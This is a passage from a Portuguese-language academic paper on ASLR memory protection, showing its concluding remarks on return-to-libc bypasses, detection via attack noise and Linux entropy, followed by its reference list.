hı́bridos baseados em intervenções através de firewall não são eficazes devido a
natureza distribuida da maioria dos ataques. Fica difı́cil determinar a origem
do ataque se cada tentativa de exploração vier de uma origem diferente. Ata-
ques distribuı́dos são cada vez mais frequentes devido ao surgimento de botnets
e worms que possuem natureza distribuı́da e colaborativa.

11
4 Considerações Finais
Como vimos, o ASLR certamente é uma técnica que conseguiu cumprir a di-
ficil missão de agregar proteção de forma genérica a aplicativos em execução
em um sistema operacional. A maioria dos sistemas operacionais modernos
já apresentam o ASLR nativamente combinado com o W⊕X. Tais mecanis-
mos de segurança bloqueiam a maioria dos ataques de buffer overflow em sua
forma original. Apesar de dificultar a exploração de vulnerabilidades de buf-
fer overflow a técnica estudada não representa uma solução para essa categoria
de vulnerabilidades. Vimos que com pouco recurso conseguimos realizar uma
exploração de return-to-libc com sucesso mesmo em sistemas com o ASLR ha-
bilitado.
O aumento significativo no ruı́do causado pelos ataques é uma qualidade do
ASLR. Esse ruı́do serve como evidencia para detecção automática de ataques.
Apesar desse avanço, ainda não possuimos sistemas autônomos para detecção
e atuação de buffer overflow. A construção de tal algorı́tmo ainda se mostra
um desafio para os pesquisadores de segurança de informação (problema de
reconhecimento de padrão).
Como pesquisas futuras, seria importante estudar técnicas de reconheci-
mento de padrão como (máquina de vetor de suporte, redes neurais artificiais,
etc) aplicadas a construção de mecanismo de detecção de intrusão. Outro ponto
de investigação importante para o futuro seria a qualidade dos geradores de
número aleatório utilizados nos sistemas operacionais. No caso do Linux, de-
vido ao baixo número de tentativas para obtenção de sucesso na exploração de
16 bits, é provável que a entropia da distribuição produzida pelo gerador não
seja adequada.

Referências
[1] P. Team, “Address Space Layout Randomization,” 2003.
[2] ——, “PAX - Random Memory Map (randmmap),” 2003.
[3] ——, “PAX - Random Stack (randkstack),” 2003.

[4] A. One, “Smashing the stack for fun and profit,” Phrack magazine, vol. 7,
no. 49, pp. 1996–11, 1996.
[5] M. Álvares, “[VD01] – Stack Overflow,” 2009. [Online]. Available:
http://www.marcosalvares.com/?p=208

[6] GNU, “GDB Documentation,” 2009. [Online]. Available: http://


sourceware.org/gdb/current/onlinedocs/gdb/
[7] M. Álvares, “Depurando com o GDB na prática,” 2009. [Online]. Available:
http://www.marcosalvares.com/?p=470
[8] T. Durden, “Bypassing PaX ASLR Protection,” Phrack Magazine, vol. 59,
no. 0x09, 2002.
[9] A. Cugliari, L. Part, M. Graziano, and W. Part, “Smashing the stack in
2010,” no. July, pp. 1–73, 2010.

12
[10] H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh,
“On the effectiveness of address-space randomization,” Proceedings of the
11th ACM conference on Computer and communications security - CCS
’04, p. 298, 2004.
[11] M. Abadi and G. Plotkin, “On Protection by Layout Randomization,” 2010
23rd IEEE Computer Security Foundations Symposium, pp. 337–351, Jul.
2010.

[12] T. M, “ASLR Smack & Laugh Reference Seminar on Advanced Exploita-


tion Techniques,” Science, no. June 2005, pp. 1–21, 2008.
[13] S. Designer, “return-to-libc atack,” Bugtrack, 1997.
[14] R. Wojtczuk, “The advanced return-into-lib (c) exploits: PaX case study,”
Phrack Magazine, vol. 0x0b, no. 0x3a, 2001.

[15] D. Patterson, “A simple way to estimate the cost of downtime,” in Proc.


16th Systems Administration Conf.— LISA, no. November, 2002, pp. 185–
8.

13